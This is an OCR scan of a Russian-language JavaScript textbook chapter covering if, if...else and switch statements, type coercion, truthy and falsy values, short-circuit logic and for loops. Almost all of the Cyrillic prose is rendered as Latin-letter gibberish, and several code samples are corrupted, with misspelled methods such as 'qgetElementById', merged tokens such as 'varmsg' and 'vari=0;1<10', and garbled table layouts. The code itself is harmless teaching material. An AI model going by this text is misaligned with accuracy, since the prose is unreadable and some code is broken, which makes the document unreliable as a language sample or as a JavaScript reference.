NHcTpykuus if BblumcnaeT (To ecTb NpoBepSIET) YCAOBME.
Ecnu ycnoBue pesynbTupyeT B true, TO BbINOJIHAOTCA
N BCe nocsieayroLlme UHCTPYKL NN B KOAE.

OTKPbIBAIOLLASA
KJIIOYEBOE CJIOBO YCJIOBUE OUTYPHAS CKOBKA

if (score >=50) {
congratulate();

L |
} |
KopA, BbINOJIHAEMbIN MNPU
| 3HAYEHWUMU TRUE

3AKPbIBAIOLLASA
DUrYPHAA CKOBKA

Ecnv ycnoBue pesynbTupyerT B true, To BbINo- Ecnv ycnosue pesynbtupyert B false, To nHc-
HsieTCAa KOA, 3aK/Il0UEeHHbIV B C/iedylolle nape  TPyKLMW B ciegyioliemM 610ke Kofa He Bbifnos-
PUrypHbIX CKOHOK. HsloTcs. CLleHapui NpoAoJIXKaeT BbIMOHATHCS

C TOYKM, PacrosIoXXeHHOM cpa3y nocJe npony-
LLleHHOro Takum obpasom 610ka Koga.

PELUEHUA N LUUKIbl



MCMOSIb3OBAHUE
MHCTPYKLWWN IF

JAVASCRIPT

var score =75;
var msg;

// bann
// Coobuiexve

if (score >=50) { // Ecam 6ann coctasnser 50 un Bbiwe
msg = 'Mo3apasnsenm!’;

msg +="lepexoauTe K cnepytolemy arany.';
}
var el = document.qgetElementById(‘answer');
el.textContent = msg;

PE3YJIbTAT

MNo3gpasnsaem!
MNepexoguTe K
cnepyowemy dtany.

c04/js/if-statement.js

JAVASCRIPT

var score = 75;
varmsg=";

// bann
// Coobuenne

function congratulate() {
msg +="Mo3gpasnsem! ';

}

if (score >=50) {
congratulate();
msg += 'Tlepexoaute K cnepyloluemy srany.';

}

var el = document.getElementById(‘answer');

el.innerHTML = msg;

// Ecnu 6ann coctasnsiet 50 unu Bbiwe

@O

c04/js/if-statement-with-function.js

B faHHOM Npumepe nHc-
Tpykuus if nposepser,
SABNAETCSA IV 3HAYEHMe,
copepikalleecs B nepeMeH-
HOW score, 60/1bLLIUM, YeM 50,
VI paBHbIM eMy.

34€eCb MHCTPYKLMSA pe3ysib-
TUPYeET B true, Tak Kak 6ann
paBeH 75, a 310 6osbLue,
yem 50. COOTBETCTBEHHO,
BbIMOJIHAETCSA U KOZ, Coaep-
KALUNCS B UHCTPYKLUAX
nocneaywouiero 61oka.
3TOT KOA CO34aeT Nno3a-
paBuUTeNbHOE coobLeHnE,
KOTOpOE MoKa3sblBaeTcs

Ha 3KpaHe; Nosib30BaTENI0
npeanaraeTcs npogoXuTb
BbIMOJIHEHME TECTA.

Mocne BbINONHEHUA 610Ka
KoAa coobLieHne BbIBOANT-
CSl Ha CTpaHuuy.

Ecnu 6bl 3HaYeHne B nepe-
MEHHOW SCcore 0Kasanocb
MeHbLLE 50, TO UHCTPYKL MK
B nocneayowiem 61oke
KOZa He BbIMOJIHUANUCD bbl,
1 nporpaMmma cpasy nepe-
wna 6bl K KOAY, HaxogaLe-
MyCS Ha cneayloLen cTpo-
K€ Moc/1e MPOnyLLEHHOrO
6noka.

CneeanpeactaBieHa
anbTepHaTUBHasA Bepcus
TOro e npumepa, Kotopas
AEMOHCTPUPYET, YTO CTPO-
KV KOoZa He BCerga Bbinosi-
HAIOTCSA B TOM Nnopsake,
KaK Mbl 3TOF0 OXXUAAEM.
Ycnosue if cobnogaercs

B C/lyyae, ecau:

1. nepBas UHCTPYKLMS

B 6/10Ke Bbi3bIBAET PYHK-
uuto congratulate();

2. BbINOJIHAETCS KOJA, CO-
Aepxalymics B GyHKLUM
congratulate();

3. BbIMO/IHAETCSA BTOpas

cTpoka B 6/10Kke ¢ KOAOM

VHCTpYyKUuuH if.

PELLUEHUA N LNKbI



MHCTPYKUWNW IF... ELSE

NHcTpykuus if... else nposepsdaeT ycnosue. Ecam oHo pe-
3yNIbTUPYET B true, TO BbIMO/IHAETCA NepBbIn 610K KoAa,
ecnn B false — 1O BTOpOM.

if (score >=50) {
congratulate();

I
} KOpA, BbIMOJIHAEMBbIN, EC/TU
else { 3HAYEHUE PABHO TRUE

encourage();
[

} Kop, BbINOJIHAEMbIN, ECJIU
3HAYEHUE PABHO FALSE

@ YC/IOBHAS OMEPALIUS @ VYCNOBUE @ EJIOKKOOAIF @ BJIOK KOAA ELSE

PELUEHUA N LUUKIIbl



MCMO/Ib30OBAHUE
MHCTPYKLUWW IF... ELSE

JAVASCRIPT c04/js/if-else-statement.js SREED BbI.BMAMTe’ H4TO MHC
Tpykuwus if...else nossonser

0ZHOBPEMEHHO 3a4eiCTBO-
varpass=50;  // MpoxopHoii 6ann BaTb gBa 6710Kka Koaa:
varscore =75; // AkTyanbHblit 6ann

1. oauH 610K — B c/iyyae,
var msg; // Coobuexune A Y

€C/IN yCNOBUE pe3ybTupy-

eT B true;
// Bbibop coobleHus 405 BbIBOAA HA IKPaH B 3aBUCMMOCTY

// oT konnyecTsa 6annos

if (score >= pass) {

msg = 'Mo3ppasnenns, npoigeHo!’; B

}else { JaHHbIN TeCT Npeay-

msg = 'MosTopuTe nonbITky!"; CMENTRLIEEIST Epli) ) (I
BapWaHTOB pa3BUTMUSA

} cobbITUI: Nosib3oBaTE b

MOXET HabpaTb 6ann,

paBHbIA MPOXOAHOMY MU

60/ee BbICOKMI (B TaKOM

Cnyyae OH ABMXEeTCS Aalb-

we), nn6o HabpaTb 6ann

MEHbLUUNI, YEM NPOXOAHOMN

(B TakOM C/lyyae OH CXO4UT

C AucTaHumm). B kaxaom

W3 C/ly4aeB Mbl 40JIKHbI

COCTaBUTb COOTBETCTBYHO-

wee coobuieHne. 3aTemM 3TO

2. apyrou 610Kk — B cayvae,
€C/I1 yCNoBUe pe3ynbTupy-
et B false.

var el = document.getElementById('answer');
el.textContent = msg;

Mo3apasnsem! coobLeHne byaeT BbiBEAE-
MepexopuTe K HO Ha CTpaHuLuy.
cnepyloliemy sTany.
Ob6paTnTe BHUMAHUE: UHC-
TPYKUWUN, 3aKNOYEHHblIe B if,
3aBepLIAlOTCA TOYKOW C 3a-
nsTON, OA4HAKO Mbl He cTa-
BMM TOYKY C 3ansiTOM nocne
3aKpblBatOLWLUX GUTYPHbBIX
ckobok B 6s10kax koga.
YcnoBHas MHCTpyKums if BbinonHAeT Habop YcnoBHasa nHctpykuus if... else BbinonHseTt
VHCTPYKLMIA NNLLbL B TOM C/lyYae, eC/in yco- oAvH 610K KOAA, eC/IN YyC0BUE pe3ynbTUpyeT
BMe pe3ynbTupyer B true: B true, U APYron, ecaum ycnoBue pe3synbTupyeTt
B false:
HaGpaH 1 Ha6paH nu
6ann >=50? 6ann >=50?
| | |
Bbl npowwnu! Monpo6ynTe CHOBA... Bbl npownu!

Mpoponxaem Mpoponxaem

BbIMNOJIHEHUE
cueHapus

BbIMOJIHEHUE
cueHapus

PELLUEHUA N LNKbI




MHCTPYKUNW

NMEPEKJTFOYEHUA

NHCTpyKUunM nepekntodeHuns (Co cn1oBoM switch) HauMHa-
I0TCS C NepeMeHHON, KOTopas HasblBaeTCcsa NepeKkarva-
eMbIM 3HauyeHunem. Kaxkabli cnyyan npeagycmaTtpumBaeTt
OAHO BO3MOXKHOE 3HaYeHne AaHHOW NepeMeHHOM 1 3a-
A2aeT KoZ, KOTOpPbIN A0/1)KeH ObITb BbINOJIHEH, €C/IN Nepe-
MEHHas NMoay4yuT Takoe 3HaYeHue.

3aecb nepemeHHas level aBnseTcs nepexnto-
YyaeMbIM 3HayeHnem. Ecnm nepemeHHas level
nosny4yaeT B Ka4eCcTBe 3HaYeHUS CTpoKY OauH,

TO BbINOJIHSAETCS KOJ, COOTBETCTBYOLLMNA Nep-
BOMY cayvato. Ecnm nonyvyaet cTpoky [lBa, To
BbINO/IHAETCSA KOA, COOTBETCTBY LN BTOPOMY
cnyuyato. Ecnm nepemeHHas level nonyvaer cTpo-
Ky Tpu, BbINOJIHAETCSA KOA, COOTBETCTBYOLUN
TpeTbeMmy cny4at. Echv nepemeHHas He nony-
YaeT HN OA4HO U3 BbILLEYNOMSIHY TbIX 3HaYEHUN,
TO BbINOJIHAETCS KOJ, COOTBETCTBYIOLLUN CNy-
yato default.

Bcsi ycnoBHasi UHCTPYKLUS HAXOAUTCS B OA4-
HOM 6/10Ke Koga (3aK/IlOYEHHOM B PUTYpPHBIX
ckobkax), a ABOETOUME CAYXUT pa3aenuTenb-
HbIM 3HaKOM MeXAY UHCTPYKLMSAMU, KOTOPblE
AOJIXKHbI BbIMOJ/IHATbLCA B C/1y4adaX coBnageHus
NepemMeHHOM C TEM MU UHBIM MEPEKJIYAEMbBIM
3Ha4YeHunemMm.

B KOHULe Ka>A0ro cayyas HaxoAUTCS KoYeBoe
cnoBo break. OHO coobLiaeT MHTEpNpeTaTopy
JavaScript, 4To BbINO/IHEHNE NHCTPYKLU UM switch
3aKOHYEHO, U MOXHO NMepexoAunTb K TOMY KoAy,
KOTOPpbIN cneayeT fanee.

IF... ELSE

* HeT He06X0AMMOCTM yKasbiBaTb Bapu-
aHT else (MOXKHO OrpaHUUYNTLCA TONBKO
MHCTpYyKLUuen if).

* [lpyn HanMunm cepumn MHCTpyKumn if Bce
OHW NPOBEPSAITCH, JaxKe ec/im coBna-
AeHUe y>ke HangeHo (MoaTomy Takas
MHCTPYKLNSA obpabaTbiBaeTca MeaeH-
Hee, yeMm switch).

PELUEHUA N LUUKIIbl

nPOTUB

switch (level) {

case 'OguH":
title = "YpoBeHb 1';
break;

case '[lga':
title = "YpoBeHb 2';
break;

case 'Tpu":
title = "YpoBeHb 3';
break;

default:
title = 'Tect";
break;

SWITCH

*  JlaHHaa MHCTPYKUUS NpegycMaTpusaeT
BapuaHT default, KOTOPbIV BbINONHAETCA
npu oTCYTCTBUWN COBMAAEHUSA C 1106bIM
W3 3aZ@aHHbIX C/TyYaEB.

* EcnucoBnageHve HangeHo, To BbINon-
HAETCHA COOTBETCTBYIOLLUNN KOZ; 3aTEM
KJIl0oueBOe C/1I0BO break ocTaHaB/AMBaEeT
BbIMO/IHEHNE OCTABLUENCS YaCTU UHC-
TpyKuuu switch (6narogaps yuemy go-
CTUraeTcs 3HauMTesIbHO 6osiee BbiCOKaAs
NpoOM3BOAMTENbHOCTb, YeM Npu paboTte
CO MHOX>XECTBOM UHCTPYKUN if).



MCMO/Ib3OBAHUE
MHCTPYKL
MEPEKJTIOYEHUS

JAVASCRIPT c04/js/switch-statement.js

var msg; // CoobLenune
var level = 2; // YpoBeHb

// Onpepensiem cooblieHne B 3aBUCUMOCTH OT YPOBHS
switch (level) {
case 1:
msg = 'Ynauun Ha nepsom atane!’;
break;

case 2:
msg = 'Bropoii 3 Tpex - npogonxaem!';
break;

case 3:
msg = 'OuHanbHblit 31an, cobeputecsb!';
break;

default:

msg ='Ypauu!';
break;

var el = document.getElementById(‘answer');
el.textContent = msg;

PE3Y/IbTAT

Bropoii n3 tpex -
npogonxaem!

B AaHHOM csiyyae 3agayva
WHCTpPYKLUK switch — nono06-
paTh 1 BbIBECTM NO/Ib30BaA-
Teno Hy>KHoe coobLieHune

B 3aBMCMMOCTM OT TOFO, Ha
KaKoM YypOBHE OH HaxoAuT-
csi. CoobLyeHne xpaHUTCa

B NepeMeHHOW msg.

MepemeHHas level coaep>xuTt
YnCno, ykasbiBawLlee, Ha
KakoM ypoBHe HaxoauTcs
nosb3oBaTesib. 3aTe€M 3TO
YMC/I0 UCMONb3YEeTCS B Ka-
yecTBe Nepek/ilo4aemMoro
3HayeHus. Mepekatoyaemoe
3HayeHune BrnoJsiHe MoOXeT
npeacTaBasaTb cobor He
YNC/O, @ BbIpaXKkeHue.

B cnegytowem 61oke koga,
3aKN0YEHHOM B GUTYpPHbIE
CKOBKM, NpeayCcMOTpPEHbI
TPV BapuaHTa 3Ha4YeHun,
KOTOpble MOXET NMPUHUMATb
nepemeHHas level: 3To yncna
1,2vnm3.

Ecnu level cogepxuT 1, TO
nepemeHHasi msg nosny4yaet
3HayeHue 'Ypaum Ha nepBom
atane!".

Ecnu level paBHa 2, To ne-
pemMeHHas msg noay4yaeTr
3HayeHue 'Bropoi us Tpex -
npopomkaem!'.

Ecnu level paBHa 3, To ne-
pemMeHHas msg noay4yaeTr
3HayeHue 'PuHanbHbIN 3TaN,
co6epurecn!'.

Ecnun xe level nonyyaer ka-
Koe-1nmbo MHoe 3HauYeHune, To
msg nonyuaet ¢pasy 'Vaaum!'
B KOHLe KaXxaoro cay4yas
CTOWUT KJIlo4YeBOE C/I0BO
break, npukasbiBatoLee
MHTepnpeTaTopy JavaScript
NponycTUTb OCTaBLUYOCS
yacTb 6/10Ka Koga U NepenTun
K cnegytouwemy 610Ky.

PELLUEHUA N LNKbI @



HEABHOE INMPUBELEHWE
TNMOB N CJTABAA
TUTTM3ALUNA

Ecnn Bbl UICMO/Ib3yeTe B KOAE TUM AaHHbIX, KOTOPbIN
JavaScript He oXxungan BCTpeTUTb B TAKOM KOHTEKCTE, TO
KOMMbIOTEP MbITaeTca «pa3obpaTbCca» B CMbIC/1e onepa-
LUK, a HEe coobLmnT 06 oLumnbKe.

JavaScript moxeT Ha BHy Tpu-
CUCTEMHOM YpOBHe Npeob-
pas3oBblBaTb TUMbl AaHHbIX,
4TOOBI yCNeLHO 3aBepLUNTL
onepauuio. Takas TexHuka
VIMEHYeTCa HeABHbIM rpuse-
AeHnem Turnos. Hanpumep,
CTpoka 'l' B Bblpa>eHnun

('1'> 0) moxeT 6bITb Npeobpa-
3oBaHa B uYncno 1. Coorsetc-
TBEHHO, BbiLLeNnpuBeAeHHOe
BblpaXKeHune pesynbTupyet

B true.

MpUHSATO rOBOPUTH, YTO

B A3blke JavaScript ucnonbsy-
eTca cnabas Tunusayms, Tak
KaK TUM AaHHbIX Y KOHKpeT-
HOro 3Ha4YeHUs MOXeT Me-
HATbCA. B HEKOTOPbIX APYTrUX
a3blkax TpebyeTcsa cTporo
yKasblBaTb, AaHHble Kakoro
Tuna 6yayT coaepxatbca

B KaX/0l KOHKpPEeTHOWN nepe-
MeHHOI. Takon MexaHUu3m
O3HayaerT, YTo B A3bIKe Agenc-
TBYeT CU/IbHas TUMN3aLMS.

Mpu HeABHOM MpuBeAeHUU
TUMOB B BalLeM KOAe MOTyT
BO3HWKATb HEOXUAAHHbIE
3HauyeHus (4To, B CBOIO
ouepesb, NOPOW MPUBOAUT

K owmbkam). MoaTomy npu
npoBepke paBeHCTBa ABYX
3HaYeHU pekomeHayeTCA
MCMONb30BaTh UMEHHO CTPO-
rve onepauum === 1 !==, a He
06blYHblE == U !=, TaK Kak nep-
Bbl€ MPOBEPSAIOT HE TO/IbKO

CaMu 3Ha4YeHnd, HO U X TUnbl.

@ PELUEHUNA N LUUKIIbl

TN JAHHbIX HA3HAYEHUE

string TekeT

number Yucno

Boolean true nnu false

null lMycToe 3HayeHne

undefined MepemeHHas yXe onpegeneHa, HO 3Haye-

HWe el NoKa He MPUCBOEHO

3HayeHune NaN (He 4ncno) cumtaerTcs YNCNOBbIM. Bbl MOXETE ero BCTPETUT,
KOrAa B KayecCTBe pe3y/ibTaTa 0XUAAN0Ch NONYYNUTb YUCTIO, HO OHO He 6blIo
Bo3BpatieHo. Hanpumep, (‘ten’/2) pesynbtupyer B NaN.



NCTUNHHDBIE N JTOXXHDBIE
SHAYEHUSA

MockonbKy B JavaScript npakTUKyeTcs HesIBHOE NpuBe-
AEeHne TUMOB, KaXk40e 3HaYeHNne MOXeT pacLeHNBaTbCS
Kak UICTUHHOE UAN NNIoXXHOoe. B pe3ynbTaTe BO3HUKAET psaj

MHTEpPECHbIX NOBoYHbIX 3¢ PeKkTOB.

JIOXKHbIE 3HAYEHWNEA

3HAUYEHUE ONNCAHUE

var highScore = false; TpaguuMOHHOE noruyeckoe

false
var highScore = 0; Yucno Honb
var highScore ="; NaN (He yncno)
var highScore = 10/'score'; MycToe 3HavyeHne
var highScore; MepemeHHas, KOTOPOW He

NMPUCBOEHO 3Ha4YeHne

MpakTuyecku nobble Apyrue sHayeHMs pacueHnBatoTCs Kak
NCTUHHbIE.

NCTUHHBIE 3HAYEHWA

3HAYEHUE OMUCAHUE

var highScore = true; TpaAuUMOHHOE lornyeckoe true

var highScore = 1; Jlioboe uncno, Kpome Hyns

var highScore = 'mopkoBka'; CTpoka c coaep>XUMbIM

var highScore = 10/5; Yucnosble BbluMCAEHUSA

var highScore = 'true'; CnoBo true, 3anMcaHHoOe Kak cCTpoka
var highScore ='0"; Hynb, 3anncaHHbIN Kak CTpoka

var highScore = 'false'; CnoB.o false, 3anncaHHoe Kak cTpoka .

JI0XKHbI€ 3HaYeHNs pacue-
HMBalOTCA Kak paBHble false.

B npuseseHHol cnesa Taban-
Le NpUCYTCTBYET NepemMeHHas
highScore c pagom 3HayeHul,
BCE OHW SABNAOTCA TOXHbIMM.

JI0XXHble 3HaYeHUs TakxXe
MOTYT pacLeHMBaTbCA Kak
yucno 0.

WcTuHHbIE 3HAYEHNS pacueHun-
BAOTCA KaK paBHble true. Mpak-
TU4YEeCKN BCe 3Ha4YeHU4d, He BO-
weguine s Ta6nv1|_|,y NNOXHbIX,
MOXHO CHUTATb NICTUHHbIMW.

MICTUHHbIE 3HaYeHNs Takxe
pacueHmBaloTCa Kak yncno 1.

Kpome Toro, Hannumne obbekTa
WAN MaccuBa Takxe 06bIYHO
CYNTAETCH UCTUHHbBIM 3Haue-
HueMm. Kak npaBuio, UMeHHO
no TakoMy MpUHLMMNY NpoBe-
psieTCst Ha/in4Ymne afleMeHTa Ha
cTpaHuue.

Janee mbl nogpobHee obcy-
AWM, MOYEMY Tak BaXkKHbl 3TU
KOHLenumm.

PELLUEHUA N LNKIbI @



[MPOBEPKA PABEHCTBA
N CYLLECTBOBAHNA

nOCKOJ'Ibe Hanuyme obbeKTa NN MAaCCUBA MOXKET CYU-
TaTbCd UCTUHHbIM 3Ha4Y€EHNEM, MMEHHO TaK 3a4acCTYIo
NpoBEPAETCA CyLLLECTBOBaHWE 2/1€EMEHTA Ha CTPpaHWLLE.

YHapHasi ornepayus Bos-
BpallaeT pesyabTaTt

C OAHUM-EAMNHCTBEHHbIM
onepaHAoM. 3gecb nokasa-
Ha MHCTpyKuusa if, npoBepsa-
o asa Hasnune anemMeHTa.
Ecaun uckombii anemeHT
HanAaeH, To pe3yabTaT CUun-
TaeTcs UCTUHHBIM U BbINON-
HAeTCca nepBbi 610K KoAa.
B npoTMBHOM cnyuyae Bbl-
nonHaeTCs BTOpow 610K.

if (document.getElementById('header')) {

// HaiigeHo: BbinonHAeM onepauuio
}else{

// He HaiigeHo: BbInonHAEM Apyryto onepauuio

}

YuTtaTenu, ToNbkKo HaumHatwme paboTtaTb ¢ JavaScript, morau
6bl MOAYMaTb, YTO CAEAYIOLWMIA KOA A4AaCT aHaIorMYHbIN 3¢-

dekT:

if (document.getElementById('header') == true)

Ha camom gene, ato He Tak. MeToa document.
getElementByld('header') BepHeT 06beKT, UMEOLL U UICTUHHOE
3HayeHne, HO OHO He ByaeT paBHO IOrMYecKoMy true.

I'IpM MPMMEHEHNN HEABHOIO NpuUBegeHNA TUNOB onepaunn

CTPOroro paBeHcTBa

3HAYEHUN, KaK ==

Mpu ucnonb3oBaHMM 3HaKa
==, 3HayeHuq false,0n"
(nycTtasa ctpoka) 6yayT cum-
TaTbCsi paBHbIMW, HO HE NP
MCMONb30BaHUM CTPOrMX
onepauyuin.

XoTsi 06a 3HaueHus, null

1 undefined, cuntatTcsa
NOXHbBIMUW, OHU HE PaBHbI
HUKaKUM MHbIM 3HAYEeHUAM
Kpome ceba camux. Onatb
K€, OHW HE 9KBUBANEHTHbI
APYr ApYyry Npu npumeHe-
HUW CTPOrMX onepauum.

M !'== 1al0T HE TaK MHOTO HEOXUAAHHbIX

XoTs 3HayeHue NaN cuuTa-
€TCS IOXKHbIM, OHO He paBHO
Kakomy-n1mbo MHOMY 3Ha-
yeHuto. OHO flaxke He paBHO
camo cebe (NOCKONbKY

NaN — 3To HeonpeJesieHHoe
4YUCNo, ABa TaKMX YMCNa He
MOTryT 6bITb paBHbI).

BbIPAXXEHUE PE3YNbTAT BbIPAXXEHUWE PE3YNbTAT BbIPAXKEHUE PE3YNbTAT
(false == 0) true (undefined == null) true (Nan == null) false
(false ===0) false : (NaN == NaN) false
. . (null == false) false
(false ==") true (undefined == false) false
(false ===") false (null==0) false
) ’ (undefined == 0) false
( true .
( false (undefined === null) false

PELUEHUNA N LUUKIIbl



SHAYEHINH,

[MOJIYHAEMDBIE MY TEM
BblCTPOW OLEHKW

Jlornyeckue onepayunm obpabaTbiBaloTCa C/1€BaA Hanpa-
BO. Ix 06paboTka ocTaHaB/IMBAETCHA, KaK TOJIbKO NOJy-
YyeH pe3ynbTaT. [Ipy 3TOM OHU BO3BPaALLLAIOT 3HAYEHME,

nocsie KoToporo o6paboTka 6bin1a npepBaHa (He oba3a-

TesIbHO true nnwu false).

B cTpoke 1 nepemeHHas artist nosy4yaeTt 3HayeHue
'PembpaHAT'.

B cTpoke 2, ecnny nepemMeHHOM artist eCTb 3Ha-
yeHue, nepemMmeHHas artistA monyumnT Takoe xe
3HavyeHue (NOCKOIbKY HEMyCTasa CTpOKa pe3y/ib-
TUpYeT B true).

var artist = 'Pembpanar';

var artistA = (artist || 'Heussecren');

Ecnu cTpoka nyctas (CM. HUXe), TOo NepemMeHHas
artistA npeBpallaeTcsa B CTpoKy 'HeusBecteH'.

var artist =";

var artistA = (artist || 'Unknown');

Ecnuny artist HeT 3HaueHMs, MOXHO co3aaTb nyc-
TOM 06beEKT:
var artist="";

var artistA = (artist || {});

Huxe faHbl Tpy 3HaueHus. Ecnu noboe ns HUx
CYMTAETCS UCTUHHBIM, TO KOJ, B BbipaxkeHuu if
BbINONHUTCSA. Korga cueHapuin BCTpedaeT B ioru-
Yyeckov onepauuy 3HauyeHue valueB, BbINOJIHEHNE
KoAa cpasy xe npekpauiaetcsa (NMponcxoamuT 6bicT-
pas oueHKa), Tak Kak YNcno 1 cunTaeTcs UCTUHHBIM,
1 BbINo/IHsieTCA 610K KoAa B pUTypHbIX CKOBKAX.

valueA = 0;
valueB =1;
valueC=2;

if (valueA || valueB || valueC) {
// BeinonHsem 3pech aelictene

}

3TOT NpUemM Tak>XXe MOXeT UCNOob30BaTbCs ANS
NpoBepKU HAMUNSA SNEMEHTOB Ha Be6-CTpaHuLe,
Kak nokasaHo Ha c. 174.

Jlornyeckue onepaunm He BCceraa Bos-
BpawyatoT true nnu false no cnegyownm
npuynHam.

* OHK BO3BpaLLalOT TO 3HAYEeHUE, B pe-
3yNbTaTe KOTOPOro npekpaTuaocChb
BblNOJIHEHUE KOAa.

= 3To 3HayYeHne Morno b6biTb pacueHeHo
KaK NCTUHHOE UJIN NTOXKHOE, XOTSA OHO
M HEe ABNAN10Cb 10TNYECKUM.

MporpaMmMuncTbl yMeT TBOPYECKU
No/sb30BaTbCs 3TUMUN OCOBEHHOCTAMMU
(Hanpumep, 4Tobbl ycTaHaBAMBATb
3HayeHUs AN NepeMeHHbIX UK Jaxe
4yTO6bI CO3aBaTb 06BEKTDI).

Korga ucTuHHoe 3HaYeHne HanaeHo, oc-
TaBLUMECS BapuaHTbl He NpoBepsATCS.
Mo3ToMy OMbITHbIE MPOrPaMMMUCTbI Yac-
TO MOCTynalT c/iedyowmm obpasom.

= KoZ, KOTOpbIA C MakCMMasibHOM
BEPOATHOCTbIO BEPHET true,
CTaBUTCS nepBbIM B onepaumnsax
NN, a npeanonoXnTenbHo
NOXHble BapUaHTbl NepBbIMU UAYT
B onepauusax U.

* Te BapnaHTbl, Ha 06paboTky
KOTOpbIX TpebyeTcsa 60/bLUe BCErO
BbIYUC/INTENIbHOWM MOLLHOCTH,
cTtaBsaTca 6AMXKe K KOHLY cnucka. Tak
fenaeTcs NOTOMY, YTO EC/IN 4,0 HUX
BCTpeTUTCA Kakoe-nnmbo 3HaueHue,
KOTOpOe BepHeT true, To o6pabaTbiBaTh
3TU TAXKE/I0BECHbIe BApMaHTbl NPOCTO
He noTpebyeTcs.

PELLUEHUA N LNKIbI @



LK J1bl

LIMk bl NpoBEpPSOT TO UN UHOE YCIOBUE: EC/IN pe3Y/ib-
TaT — true, To 6/10K KOAa BbINOJIHAETCS. 3aTEM OHO by-
AeT BHOBb NMPOBEPEHO, U €C/IN OHO CHOBA pe3ynbTupyeT

B true, 6210k KOZa BbINOHUTCS eLle pa3. Llmkn npogonxa-
€eTCsd 40 Tex Nop, NoKa ycnoBue He pe3ynbTupyerT B false.
CyuwiecTByOT TpU TUNa LUKIOB.

FOR

Ecnu TpebyeTcs, 4yTobbl KOA
6bI/1 BbINOJIHEH KOHKPETHOE
KO/IMYECTBO pas, UCMOb3Y-
eTca uukn for. 3TOT LUK —
CaMbIi pacnpoCTPaHEHHbIN.
B for ycnoBmem 06bI14HO
ABNSETCA CHETUUK, YKa-
3bIBaOLL NN, CKOJIbKO pas
cneayeT BbINOJHUTD AaH-
HbIN LUK,

KJNTIOYEBOE CJIOBO
|

YCNOBUE (CHETYUK)

WHILE

Ecnv Bbl He 3HaeTe 3apa-
Hee, CKOJIbKO pas A0JIXKeH
BbINO/IHNTLCSH KOJ, MOXeTe
NPUMEHUTb LnKA while.
34ecb B KayecTBe yC/10BUS
BbICTYMaeT He 3HauyeHne
cyeTyuka, a gpyrou dak-
Top. Kog 6yAeT BbIMOHATb-
cs, NoKa yc/a0BMe paBHoO
true.

DO WHILE

Lnkn do while o4ueHb NOX0OX
Ha while, HO c ogHUM BaXx-
HbIM OT/IMYMEM: OH BCerga
BbINOJIHSET KOMaHAbl

B dUrypHbIx cCKobKax Kak
MWHUMYM OAHOKPaTHO,
[axke ecav ycsioBue pesyb-
Tupyert B false.

OTKPbIBAIOLLAS

for (vari=0;1<10; i++) {

document.write(i);

} KOJA, BbINOJIHAEMbIN B XOAE LIUKIIA

3AKPbIBAIOLLAS ®UF'YPHASA
(of (0], ¢.Y

Mepea Bamun uunkn for.
YcnoBue cyeTumka — goun-
T Ao 10. B pe3synbTaTe Ha
cTpaHuue byaeT BbiBE4EHO
«0123456789».

PELUEHUA N LUUKIIbl

Ecnn nepemeHHas i MeHb-
we 10, To Kog B GUTYPHbIX
ckobKax BbIMOSIHAETCA eLLe
pas.ocne aToro sHayeHue
cyeTymka yBenmMymBaeTcs
Ha eanHULY.

OUT'YPHAA CKOBKA

Ycnosne BHOBb NpoBepsi-
eTcs, eC/v oKa3blBaeTCsH,
4yTO NepemeHHas i no npe-
XHemy meHbLe 10, umkn
BbINOJIHSIieTCS eLle pas. Ha
cneayoLWmnx Tpex cTpaHu-
uax paborta aToro unkna
NpoVUNNIOCTPUPOBAHA
6onee noapobHo.



CUHETUNKUW UNKTIA

Linkn for ncnonb3syeTt B KayeCcTBe YC/IOBUSA 3HAYEHUE CYeT-
4yuKa: KoA A0N>KeH ObITb BbIMOJIHEH KOHKPETHOE KOJInyec-
TBO pa3. Hn>ke nokasaHbl TpU Bbipa>XXeHUS, U3 KOTOPbIX CO-

CTOUT yC/i0BUeE.

UHUUMNATTN3ALUA

MbI co3zaemM nepeMeHHY o
M MpUCBaMBaEM eNn
3HayeHwue 0. Kak npaBuno,
3Ta nepemMeHHas
HasbiBaeTcsai. OHa
[ENCTBYET KakK CYETYMK.

vari=0;

MepemeHHas co3paeTcs
TOJIbKO NPV NepBON UTepaumn
unkna. MHorga oHa HasbiBaeT-
cqindex, a He NpocToOi.
BriBaeT, yTO NepemeHHas
0b6bsABNAETCA 40 YCAOBUS.
CnepymooLwmi Koa naAeHTUYEH
npueeaeHHOMY BbiLLe, BbIGOp
3aBUCUT TOJIbKO OT XXeNaHusa
nporpammucTa.

var i;
for (i=0;1i<10; i++) {
// 3necb HaxopuTCA Kop,

}

YCJIOBUE

Linkn gonxxeH
npoAo/XxaTtb paboTy
[0 TeX nop, Noka
BE/IMYMHA CYETUMNKA HE
AOCTUIHET YKa3zaHHOro
3Ha4YeHus.

1<10;

3HayeHne nepeMeHHOM i
6b1/10 U3HAYaIbHO YCTaHOB-
neHo B 0, NO3TOMY B ;JaHHOM
cnyvae uukn cpabortaet 10
pas, a3aTeM OCTaHOBUTCA.
YcnoBuem Tak>xxe MoxeT
6bITb NepemMeHHas, B KO-
TOPOW COAEepPXNTCS YNCO.
Ecnu B nepemeHHO rounds
COAEP>XUTCS KOSIMYECTBO
3TanoB NPOBEPKU U LUK
AOJIKeH cpaboTaTb OAMH pas
Ha Ka>kA0M 3Tane, To ycso-
Bue dopmMmynumpyeTcs Tak:

var rounds = 3;
i< (rounds);

OBHOBJIEHUE

Bcsakuin pas nocne
BbIMOJIHEHUSA LUKIOM
KOMaHZ, 3aKJ/II0UYEHHbIX
B puUrypHbie ckobku,
3HauYeHMe cYeTymKa BO3-
pacTaeT Ha eauHULY.

T++

Ansa aToro ucnonbsyercs
onepauuda MHKpeMeHTa

(+4).

WHbIMU CI0BaMU, Al@aHHbIN
KOJ, 03HayaeT: KBO3bMU
nepemeHHy i u npubasb
K Hen 1 npu nomoLyu one-
paunm ++».

LnkAbl MOTyT cumMTaTh

1 B ob6paTHOM Hanpasne-
HWUW, NS 3TOro NPpUMeEHS -
eTcs onepaumns geKpemMeH-
Ta (--).
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LNKTI

0<10?

3anucbiBaeM
Ha CTPaHULY:

Hauvano i=0

Mpv nepBo UTEpaLUM LUKIa
nepemMmeHHom i (cuetTumnky)
npuceavBaeTcs 3HayeHue O.

PELUEHUA N LUUKIIbl

waaaﬂ"e“

Mpu Kaxaon ntepauynm ymkna
ycnosue nposepsieTcs. 3Ha-
YyeHue NepeMeHHON i A0JIKHO
6b1Tb MeHbLUe 10.

1kO0 LIRS (o)) pv\ﬁagnﬂeM“ K1
o

3anucbiBaeM
Ha CTpaHuULYy:

3aTeM BbIMOJIHAETCA KOZ,
B uMKae (KoMaHAbl, 3anncaH-
